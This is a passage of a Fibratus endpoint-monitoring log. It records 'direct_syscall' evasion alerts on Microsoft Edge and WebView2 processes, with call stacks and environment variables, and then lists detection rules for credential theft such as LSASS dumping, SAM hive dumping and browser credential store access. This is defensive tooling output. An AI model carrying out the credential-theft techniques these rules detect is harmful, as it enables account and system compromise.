(x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ff9caa2ea50 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ff9ca38500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ff9ca3d5198 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ff9ca3f9a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffa44dce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffa4604c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-26T14:17:25+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1795339 + Pid: 18908 + Tid: 9404 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-26 14:17:25.5032109 +0100 CET + Params: base_address➜ 7ffa119a0000, checksum➜ 65938, default_address➜ 7ffa119a0000, file_path➜ C:\Windows\System32\LocationFrameworkPS.dll, image_size➜ 53248, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 18908, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 18908 + Ppid: 14948 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:18908 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_18908_DUHIKGAJBSDGLROT EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1112 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"JMrTvsAw5+gimjH5iy53okiyxdLGWjk5amh7x6Qp6I4=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"EZD+RsC+C6sK5+pd5lEZo6R4DpX4Wy0iLze9Mcr8g18=" EFC_8664_1262719628:1 EFC_8664_1592913036:1 EFC_8664_2283032206:1 EFC_8664_2775293581:1 EFC_8664_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff806e5d42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff806e5c74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff806e5d48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff806e6272258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff806e6271ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff806e62690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff806e62621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff806e626179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff806e60b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffa00ea1014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffa00cb3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffa00cb3a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffa45fc53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffa45fc4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffa45fc84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffa45fc701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffa46034294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffa45fd63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffa45fd6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffa45fffa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffa4314d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffa45a97a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffa45a9759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffa45c1b8a2 C:\Windows\System32\combase.dll!Ordinal225|0x7ffa45c1cc5c C:\Windows\System32\combase.dll!Ordinal225|0x7ffa45c1cd65 C:\Windows\System32\combase.dll!Ordinal225|0x7ffa45c18fb6 C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7ffa45bb4304 C:\Windows\System32\combase.dll!CStdAsyncStubBuffer_QueryInterface|0x7ffa45a8b83b C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffa45a8b77c C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffa45a8a662 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffa45a8a279 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffa45b5ff04 C:\Windows\System32\combase.dll!RoRegisterActivationFactories|0x7ffa45bf717e C:\Windows\System32\combase.dll!Ordinal130|0x7ffa45ab77fb C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ffa45ab62ed C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ffa45b08013 C:\Windows\System32\combase.dll!CoGetStandardMarshal|0x7ffa45c186ee C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7ffa45c12d12 C:\Windows\System32\combase.dll!Ordinal146|0x7ffa45b5bb3b C:\Windows\System32\combase.dll!CoCreateInstanceEx|0x7ffa45b5b91b C:\Windows\System32\combase.dll!CoCreateInstance|0x7ffa0918e4b3 C:\Windows\System32\Geolocation.dll!DllGetActivationFactory|0x7ffa0918d534 C:\Windows\System32\Geolocation.dll!DllGetActivationFactory|0x7ffa0918c73d C:\Windows\System32\Geolocation.dll!DllGetActivationFactory|0x7ffa0918c4b8 C:\Windows\System32\Geolocation.dll!DllGetActivationFactory|0x7ffa4609847d C:\Windows\System32\ntdll.dll!TpAlpcUnregisterCompletionList|0x7ffa460363d9 C:\Windows\System32\ntdll.dll!RtlSetThreadSubProcessTag|0x7ffa44dce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffa4604c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-26T14:21:40+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2027813 + Pid: 13716 + Tid: 19616 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-26 14:21:39.3373651 +0100 CET + Params: base_address➜ 7ffa32c50000, checksum➜ 678716, default_address➜ 7ffa32c50000, file_path➜ C:\Windows\System32\Windows.Web.dll, image_size➜ 638976, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 13716, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 13716 + Ppid: 8408 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=8408.7876.593587277930053268 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=8408.7876.593587277930053268 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[] + + ] and callstack [0xfffff806e5d42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff806e5c74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff806e5d48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff806e6272258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff806e6271ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff806e62690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff806e62621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff806e626179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff806e60b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffa00ea1014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffa00cb3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffa00cb3a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffa45fc53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffa45fc4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffa45fc84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffa45fc701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffa46034294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffa45fd63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffa45fd6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffa45fffa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffa4314d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffa45a97a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffa45a9759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffa45ab44fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffa45c1d25a C:\Windows\System32\combase.dll!Ordinal225|0x7ffa45a6923c C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffa45a68af7 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffa45a6966a C:\Windows\System32\combase.dll!CLSIDFromProgID|0x7ffa45a6a6c9 C:\Windows\System32\combase.dll!RoActivateInstance|0x7ffa1bffd940 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1bffbb3c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1bffa59c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1c006d97 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1c00e223 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1c00dd67 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1c00dcf9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1c0106d5 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa4573ab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffa4573a8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffa45739c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffa44dce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffa4604c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-26T14:21:40+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2028057 + Pid: 13716 + Tid: 19636 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-26 14:21:39.3472989 +0100 CET + Params: base_address➜ 7ffa22b00000, checksum➜ 879719, default_address➜ 7ffa22b00000, file_path➜ C:\Windows\System32\Windows.StateRepositoryPS.dll, image_size➜ 802816, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 13716, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 13716 + Ppid: 8408 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=8408.7876.593587277930053268 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=8408.7876.593587277930053268 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[] + + ] and callstack [0xfffff806e5d42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff806e5c74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff806e5d48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff806e6272258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff806e6271ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff806e62690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff806e62621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff806e626179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff806e60b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffa00ea1014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffa00cb3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffa00cb3a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffa45fc53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffa45fc4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffa45fc84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffa45fc701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffa46034294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffa45fd63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffa45fd6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffa45fffa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffa4314d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffa45a97a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffa45a9759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffa45c1b8a2 C:\Windows\System32\combase.dll!Ordinal225|0x7ffa45c1cc5c C:\Windows\System32\combase.dll!Ordinal225|0x7ffa45c1cd65 C:\Windows\System32\combase.dll!Ordinal225|0x7ffa45c18fb6 C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7ffa45bb4304 C:\Windows\System32\combase.dll!CStdAsyncStubBuffer_QueryInterface|0x7ffa45a8b83b C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffa45a8b77c C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffa45a8a662 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffa45a8a279 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffa45b5ff04 C:\Windows\System32\combase.dll!RoRegisterActivationFactories|0x7ffa45bf717e C:\Windows\System32\combase.dll!Ordinal130|0x7ffa45ab77fb C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ffa45ab62ed C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ffa45b08013 C:\Windows\System32\combase.dll!CoGetStandardMarshal|0x7ffa45aceef0 C:\Windows\System32\combase.dll!StringFromCLSID|0x7ffa45a674bd C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffa45a66e1f C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffa1bfc93f7 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1bfc86a6 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1c008cb7 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1c006f90 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1c00e223 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1c00dd67 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1c00dcf9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1c0106d5 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa4573ab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffa4573a8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffa45739c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffa44dce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffa4604c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-26T14:28:38+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T14:28:39+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-26T14:28:39+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-26T14:35:32+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-26T14:35:32+01:00 level=info msg=loading rule from 